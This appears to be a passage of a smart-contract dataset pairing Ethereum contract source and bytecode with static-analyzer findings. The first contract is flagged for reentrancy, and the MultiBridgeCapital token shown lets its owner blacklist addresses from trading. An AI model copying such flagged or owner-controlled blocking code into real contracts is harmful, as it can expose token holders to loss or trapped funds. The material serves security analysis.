3891660009081526002602052604090205561143f81611582565b61144984836115cc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161148e91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea000006114bd82826112d6565b8210156114da57505060075492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115008a600954600a546115f0565b9250925092506000611510611359565b905060008060006115238e878787611645565b919e509c509a509598509396509194505050505091939550919395565b60006110e783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ff6565b600061158c611359565b9050600061159a8383611695565b306000908152600260205260409020549091506115b79082611277565b30600090815260026020526040902055505050565b6007546115d99083611540565b6007556008546115e99082611277565b6008555050565b600080808061160a60646116048989611695565b906112d6565b9050600061161d60646116048a89611695565b905060006116358261162f8b86611540565b90611540565b9992985090965090945050505050565b60008080806116548886611695565b905060006116628887611695565b905060006116708888611695565b905060006116828261162f8686611540565b939b939a50919850919650505050505050565b6000826116a45750600061042b565b60006116b08385611a86565b9050826116bd8583611a64565b146110e75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045b565b803561171f81611b19565b919050565b60006020828403121561173657600080fd5b81356110e781611b19565b60006020828403121561175357600080fd5b81516110e781611b19565b6000806040838503121561177157600080fd5b823561177c81611b19565b9150602083013561178c81611b19565b809150509250929050565b6000806000606084860312156117ac57600080fd5b83356117b781611b19565b925060208401356117c781611b19565b929592945050506040919091013590565b600080604083850312156117eb57600080fd5b82356117f681611b19565b946020939093013593505050565b6000602080838503121561181757600080fd5b823567ffffffffffffffff8082111561182f57600080fd5b818501915085601f83011261184357600080fd5b81358181111561185557611855611b03565b8060051b604051601f19603f8301168101818110858211171561187a5761187a611b03565b604052828152858101935084860182860187018a101561189957600080fd5b600095505b838610156118c3576118af81611714565b85526001959095019493860193860161189e565b5098975050505050505050565b6000602082840312156118e257600080fd5b81356110e781611b2e565b6000602082840312156118ff57600080fd5b81516110e781611b2e565b60006020828403121561191c57600080fd5b5035919050565b60008060006060848603121561193857600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561197e57858101830151858201604001528201611962565b81811115611990576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a2b5784516001600160a01b031683529383019391830191600101611a06565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a5f57611a5f611ad7565b500190565b600082611a8157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611aa057611aa0611ad7565b500290565b600082821015611ab757611ab7611ad7565b500390565b6000600019821415611ad057611ad0611ad7565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461047a57600080fd5b801515811461047a57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122050d03be12373ee06297ff99d4c457d0266c40889d42df73a16a6a2d2b2dd44a064736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
9,597
0x14da230d6726c50f759bc1838717f8ce6373509c
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface IFreezableToken { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event Freeze(address indexed owner, address indexed user, bool status); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function transferFrom(address from, address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function increaseApproval(address spender, uint256 addedValue) external returns (bool); function decreaseApproval(address spender, uint256 subtractedValue) external returns (bool); function freeze(address user) external returns (bool); function unfreeze(address user) external returns (bool); function freezing(address user) external view returns (bool); } contract FreezableToken is Ownable, IFreezableToken { using SafeMath for uint256; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) internal allowed; mapping(address => bool) frozen; modifier unfreezing(address user) { require(!frozen[user], "Cannot transfer from a freezing address"); _; } uint256 internal _totalSupply; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public unfreezing(msg.sender) returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public unfreezing(_from) returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { require(_spender != address(0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) { require(_spender != address(0)); allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) { require(_spender != address(0)); uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Freeze the balance of the specified address * @param _user The address to freeze the balance * @return The boolean status of freezing */ function freeze(address _user) public onlyOwner returns (bool) { frozen[_user] = true; emit Freeze(msg.sender, _user, true); return true; } /** * @dev Unfreeze the balance of the specified address * @param _user The address to unfreeze the balance * @return The boolean status of freezing */ function unfreeze(address _user) public onlyOwner returns (bool) { frozen[_user] = false; emit Freeze(msg.sender, _user, false); return false; } /** * @dev Gets the freezing status of the specified address. * @param _user The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function freezing(address _user) public view returns (bool) { return frozen[_user]; } } interface IKAT { function name() external view returns (string); function symbol() external view returns (string); function decimals() external view returns (uint256); } /** * @title KAT Token * * @dev Constructor of the deployment */ contract KAT is FreezableToken, IKAT { string private _name; string private _symbol; uint256 private _decimals; /** * @dev constructor */ constructor() public { _name = "Kambria Token"; _symbol = "KAT"; _decimals = 18; _totalSupply = 5000000000 * 10 ** _decimals; balances[msg.sender] = _totalSupply; // coinbase } function name() public view returns (string) { return _name; } function symbol() public view returns (string) { return _symbol; } function decimals() public view returns (uint256) { return _decimals; } }
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017b5780631576c3d8146101e057806318160ddd1461023b57806323b872dd14610266578063313ce567146102eb57806345c8b1a614610316578063661884631461037157806370a08231146103d65780638d1fdf2f1461042d5780638da5cb5b1461048857806395d89b41146104df578063a9059cbb1461056f578063d73dd623146105d4578063dd62ed3e14610639578063f2fde38b146106b0575b600080fd5b3480156100f757600080fd5b506101006106f3565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610140578082015181840152602081019050610125565b50505050905090810190601f16801561016d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018757600080fd5b506101c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610795565b604051808215151515815260200191505060405180910390f35b3480156101ec57600080fd5b50610221600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c2565b604051808215151515815260200191505060405180910390f35b34801561024757600080fd5b50610250610918565b6040518082815260200191505060405180910390f35b34801561027257600080fd5b506102d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610922565b604051808215151515815260200191505060405180910390f35b3480156102f757600080fd5b50610300610dcc565b6040518082815260200191505060405180910390f35b34801561032257600080fd5b50610357600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dd6565b604051808215151515815260200191505060405180910390f35b34801561037d57600080fd5b506103bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610efe565b604051808215151515815260200191505060405180910390f35b3480156103e257600080fd5b50610417600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111cb565b6040518082815260200191505060405180910390f35b34801561043957600080fd5b5061046e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611214565b604051808215151515815260200191505060405180910390f35b34801561049457600080fd5b5061049d61133c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104eb57600080fd5b506104f4611361565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610534578082015181840152602081019050610519565b50505050905090810190601f1680156105615780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561057b57600080fd5b506105ba600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611403565b604051808215151515815260200191505060405180910390f35b3480156105e057600080fd5b5061061f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611712565b604051808215151515815260200191505060405180910390f35b34801561064557600080fd5b5061069a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611949565b6040518082815260200191505060405180910390f35b3480156106bc57600080fd5b506106f1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119d0565b005b606060058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561078b5780601f106107605761010080835404028352916020019161078b565b820191906000526020600020905b81548152906001019060200180831161076e57829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107d257600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600454905090565b600083600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610a0d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001807f43616e6e6f74207472616e736665722066726f6d206120667265657a696e672081526020017f616464726573730000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610a4957600080fd5b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610a9757600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610b2257600080fd5b610b7483600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2590919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c0983600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3e90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cdb83600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b6000600754905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e3357600080fd5b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f7da0831973ab0ad46b98ccfe0164eb05d40d47509a5b6354afd7d822a3d3a5956000604051808215151515815260200191505060405180910390a360009050919050565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610f3d57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561104b576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110df565b61105e8382611b2590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561127157600080fd5b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f7da0831973ab0ad46b98ccfe0164eb05d40d47509a5b6354afd7d822a3d3a5956001604051808215151515815260200191505060405180910390a360019050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113f95780601f106113ce576101008083540402835291602001916113f9565b820191906000526020600020905b8154815290600101906020018083116113dc57829003601f168201915b5050505050905090565b600033600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156114ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001807f43616e6e6f74207472616e736665722066726f6d206120667265657a696e672081526020017f616464726573730000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561152a57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561157857600080fd5b6115ca83600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2590919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061165f83600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3e90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561174f57600080fd5b6117de82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3e90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a2b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611a6757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515611b3357fe5b818303905092915050565b60008183019050828110151515611b5157fe5b809050929150505600a165627a7a7230582047646cdb879b7349f08f4891b831fda7382dee2a01c9b1e79e364b684621d7910029
{"success": true, "error": null, "results": {}}
9,598
0x4fb959ea9e0c59bc946ee571902462aacc013b41
/** *Submitted for verification at Etherscan.io on 2021-11-24 */ /** Multi Bridge Capital (MBC) Telegram for announcements: https://t.me/multibridgecapital If you guys wish to chat with eachother, make a public group chat for investors, I want to keep the announcement telegram clean. MMMMMMMM MMMMMMMM BBBBBBBBBBBBBBBBB CCCCCCCCCCCCC M:::::::M M:::::::M B::::::::::::::::B CCC::::::::::::C M::::::::M M::::::::M B::::::BBBBBB:::::B CC:::::::::::::::C M:::::::::M M:::::::::M BB:::::B B:::::B C:::::CCCCCCCC::::C M::::::::::M M::::::::::M B::::B B:::::B C:::::C CCCCCC M:::::::::::M M:::::::::::M B::::B B:::::B C:::::C M:::::::M::::M M::::M:::::::M B::::BBBBBB:::::B C:::::C M::::::M M::::M M::::M M::::::M B:::::::::::::BB C:::::C M::::::M M::::M::::M M::::::M B::::BBBBBB:::::B C:::::C M::::::M M:::::::M M::::::M B::::B B:::::B C:::::C M::::::M M:::::M M::::::M B::::B B:::::B C:::::C M::::::M MMMMM M::::::M B::::B B:::::B C:::::C CCCCCC M::::::M M::::::M BB:::::BBBBBB::::::B C:::::CCCCCCCC::::C M::::::M M::::::M B:::::::::::::::::B CC:::::::::::::::C M::::::M M::::::M B::::::::::::::::B CCC::::::::::::C MMMMMMMM MMMMMMMM BBBBBBBBBBBBBBBBB CCCCCCCCCCCCC > 20% of LP Fee bought back into liquidity through owner wallet > Anti-bot buy limit that increases automaticly > Check buy back balance -> Creator address > Telegram will be public to join and follow for announcements, not planning to make it public instantly. > Will make it public as soon as the website is ready. **/ /** // SPDX-License-Identifier: Unlicensed **/ pragma solidity ^0.8.6; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function approve(address to, uint value) external returns (bool); } contract MultiBridgeCapital is Context, IERC20, Ownable { string private constant _name = unicode"MultiBridgeCapital"; string private constant _symbol = "MBC"; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping(address => uint256)) private _allowances; mapping (address => bool) private bots; mapping (address => uint) private cooldown; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; IUniswapV2Router02 private uniswapV2Router; address[] private _excluded; address private c; address private wallet1; address private uniswapV2Pair; address private WETH; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee; uint256 private _LiquidityFee; uint64 private buyCounter; uint8 private constant _decimals = 9; uint16 private maxTx; bool private tradingOpen; bool private inSwap; bool private swapEnabled; event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 ethToOwner); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable _wallet1) { c = address(this); wallet1 = _wallet1; _rOwned[c] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[c] = true; _isExcludedFromFee[wallet1] = true; excludeFromReward(owner()); excludeFromReward(c); excludeFromReward(wallet1); emit Transfer(address(0),c,_tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()] - amount); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount / currentRate; } function nofees() private { _taxFee = 0; _LiquidityFee = 0; } function basefees() private { _taxFee = 0; _LiquidityFee = 10; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from] && !bots[to]); basefees(); if (from != owner() && to != owner() && tradingOpen) { if (!inSwap) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && !inSwap) { if (buyCounter < 100) require(amount <= _tTotal * maxTx / 1000); buyCounter++; } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && !inSwap) { if (swapEnabled) { uint256 contractTokenBalance = balanceOf(c); if (contractTokenBalance > balanceOf(uniswapV2Pair) * 1 / 10000) { swapAndLiquify(contractTokenBalance); } } } if (!inSwap) { if (buyCounter == 5) maxTx = 20; //20% if (buyCounter == 20) maxTx = 30; //30% if (buyCounter == 30) { maxTx = 1000; //10% } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to] || inSwap) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapAndLiquify(uint256 